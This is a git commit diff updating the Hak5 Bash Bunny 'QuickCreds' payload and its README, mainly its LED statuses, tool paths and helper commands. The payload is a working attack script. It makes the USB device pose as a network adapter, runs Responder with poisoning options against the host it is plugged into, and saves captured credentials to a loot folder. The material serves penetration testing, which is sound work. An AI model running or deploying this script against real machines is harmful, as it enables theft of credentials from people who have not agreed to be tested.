Updated QuickCreds payload for Bash Bunny v1.1

This commit is contained in:
hink
2017-04-09 21:06:04 -05:00
committed by Darren Kitchen
parent 6e7292699b
commit ce0c7d2dbd
2 changed files with 27 additions and 28 deletions

View File

@@ -3,37 +3,36 @@
# Title: Quick Creds # Title: Quick Creds
# Author: Hak5Darren -- Cred: Mubix # Author: Hak5Darren -- Cred: Mubix
# Version: 1.0 # Version: 1.0
# Firmware: >= 1.1
# #
# Runs responder against target with specified options # Runs responder against target with specified options
# Saves sequential logs to mass storage loot folder # Saves sequential logs to mass storage loot folder
# #
# Requires responder in /pentest/responder - run tools_installer payload first # Requires responder in /tools/responder
# #
# White Blinking.....Dependencies not met. Responder not installed in /pentest # | Status | Description |
# Red ...............Setup # | ------------------- | ---------------------------------------- |
# Red Blinking.......Setup Failed. Target did not obtain IP address. Exit. # | FAIL1 | Responder not found at /tools/responder |
# Amber Blinking.....Scanning # | FAIL2 | Target did not aquire IP address |
# Green..............Finished # All other LED statuses are standard to v1.1
# #
# Options # Options
RESPONDER_OPTIONS="-w -r -d -P" RESPONDER_OPTIONS="-w -r -d -P"
LOOTDIR=/root/udisk/loot/quickcreds LOOTDIR=/root/udisk/loot/quickcreds
# Check for responder. If not found, blink WHITE and end. # Check for responder
if [ ! -d /pentest/responder/ ]; then REQUIRETOOL responder
LED R G B 100
exit 1
fi
# Set LED Red while setting up attack # Setup Attack
LED R LED SETUP
# Use RNDIS for Windows. Mac/*nix use ECM_ETHERNET # Use RNDIS for Windows. Mac/*nix use ECM_ETHERNET
ATTACKMODE RNDIS_ETHERNET ATTACKMODE RNDIS_ETHERNET
#ATTACKMODE ECM_ETHERNET #ATTACKMODE ECM_ETHERNET
# Source bunny_helpers.sh for functions & variables TARGET_IP, TARGET_HOSTNAME # Set convenience variables
source bunny_helpers.sh GET TARGET_HOSTNAME
GET TARGET_IP
# Setup named logs in loot directory # Setup named logs in loot directory
mkdir -p $LOOTDIR mkdir -p $LOOTDIR
@@ -49,13 +48,13 @@ mkdir -p /root/loot/quickcreds/$HOST-$COUNT
# Check target IP address. If unset, blink RED and end. # Check target IP address. If unset, blink RED and end.
if [ -z "${TARGET_IP}" ]; then if [ -z "${TARGET_IP}" ]; then
LED R 100 LED FAIL2
exit 1 exit 1
fi fi
# Set LED yellow, run attack # Set LED yellow, run attack
LED G R 500 LED ATTACK
cd /pentest/responder cd /tools/responder
# Clean logs directory # Clean logs directory
rm logs/* rm logs/*
@@ -78,4 +77,4 @@ cp logs/* $LOOTDIR/$HOST-$COUNT
sync sync
# Light turns green - trap is clean. # Light turns green - trap is clean.
LED G LED FINISH

View File

@@ -3,6 +3,7 @@
Author: Hak5Darren Author: Hak5Darren
Version: Version 1.0 Version: Version 1.0
Credit: Mubix Credit: Mubix
Firmware: >= 1.1
## Description ## Description
@@ -17,18 +18,17 @@ Configured for Windows by default. Swap RNDIS_ETHERNET for ECM_ETHERNET on Mac/*
## Requirements ## Requirements
Responder must be in /pentest/responder/ Responder must be in /tools/responder/
Run the latest tools_installer payload or manually install
## STATUS ## STATUS
| LED | Status |
| ---------------- | ------------------------------------- | | Status | Description |
| White (blinking) | Dependencies not met | | ------------------- | ---------------------------------------- |
| Red | Setup | | FAIL1 | Responder not found at /tools/responder |
| Red (blinking) | Setup Failed. Target didn't obtain IP | | FAIL2 | Target did not aquire IP address |
| Amber | Responder running, waiting for creds |
| Green | Finished | All other LED statuses are standard to v1.1
## Discussion ## Discussion
[Hak5 Forum Thread](https://forums.hak5.org/index.php?/topic/40226-payload-quickcreds/ "Hak5 Forum Thread") [Hak5 Forum Thread](https://forums.hak5.org/index.php?/topic/40226-payload-quickcreds/ "Hak5 Forum Thread")